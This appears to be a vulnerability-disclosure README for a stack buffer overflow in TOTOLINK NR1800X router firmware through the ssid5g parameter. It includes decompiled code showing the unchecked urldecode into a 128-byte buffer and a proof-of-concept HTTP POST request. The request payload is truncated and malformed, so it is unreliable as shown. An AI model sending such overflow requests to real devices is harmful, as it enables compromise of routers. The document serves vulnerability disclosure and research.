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README.md



totolink buffer Overflow

description:

a stack overflow vulnerability was found on TOTOLINK NR1800X V9.1.0u.6681_B20230703 was discovered to contain an authenticated stack overflow via the ssid5g parameter in the setWiFiEasyGuestCfg function.

Firmware

brand:totoLink

product:NR1800X

version: V9.1.0u.6681_B20230703 and the version before tihs.

The firmware can be downloaded from this [website](#) and using FirmAE to simulate the router environment.

analyze

Decompile: FUN_00426510 - (cstecgi.cgi)

```
7  int iVar3;
8  char *pcVar4;
9  int iVar5;
10 int iVar6;
11 int iVar7;
12 undefined4 uVar8;
13 int iVar9;
14 int iVar10;
15 size_t sVar11;
16 undefined1 auStack_130 [128];
17 undefined1 auStack_b0 [128];
18 int local_30;
19 int local_2c;
20
21 memset(auStack_130,0,0x80);
22 memset(auStack_b0,0,0x80);
23 uVar1 = websGetVar(param_1,"merge","0");
24 nvram_set("guest_merge_custom",uVar1);
25 pcVar2 = (char *)websGetVar(param_1,"wifiOff5g","0");
26 iVar3 = atoi(pcVar2);
27 uVar1 = websGetVar(param_1,"ssid5g","");
28 pcVar2 = (char *)websGetVar(param_1,"key5g","");
29 pcVar4 = (char *)websGetVar(param_1,"hssid5g","0");
30 local_2c = atoi(pcVar4);
31 pcVar4 = (char *)websGetVar(param_1,"accessEnabled5g","0");
32 local_30 = atoi(pcVar4);
33 pcVar4 = (char *)websGetVar(param_1,"encryptionWay_5g","0");
34 iVar5 = atoi(pcVar4);
35 pcVar4 = (char *)websGetVar(param_1,"encryptionType_5g","0");
36 iVar6 = atoi(pcVar4);
37 pcVar4 = (char *)websGetVar(param_1,"keyType_5g","0");
38 iVar7 = atoi(pcVar4);
39 uVar8 = websGetVar(param_1,"key_5g","");
40 nvram_set_int("wl_guest_enable",iVar3 == 0);
41 if (iVar3 == 0) {
42     urldecode(uVar1,auStack_b0);
43     nvram_set("wl_guest_ssid",auStack_b0);
```

the identifier uVar1 retrieves the value from the ssid5g ,and without the check of length ,if the length of ssid exceed 0x80 would lead to overflow in the function urldecode

POST /cgi-bin/cstecgi.cgi?token=35bc29daec5975b5d4212a3b55307948 HTTP/1.1



Host: 192.168.0.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101
Firefox/136.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 383

Origin: http://192.168.0.1

Connection: close

Referer: http://192.168.0.1/login.html

Priority: u=0

{

"ssid5g":"aaa

"key":"0",

"hssid":"1",

"wifi0ff":"1",

"wifi0ff5g":"0",

"topicurl":"setWiFiEasyGuestCfg"

}

[illegible]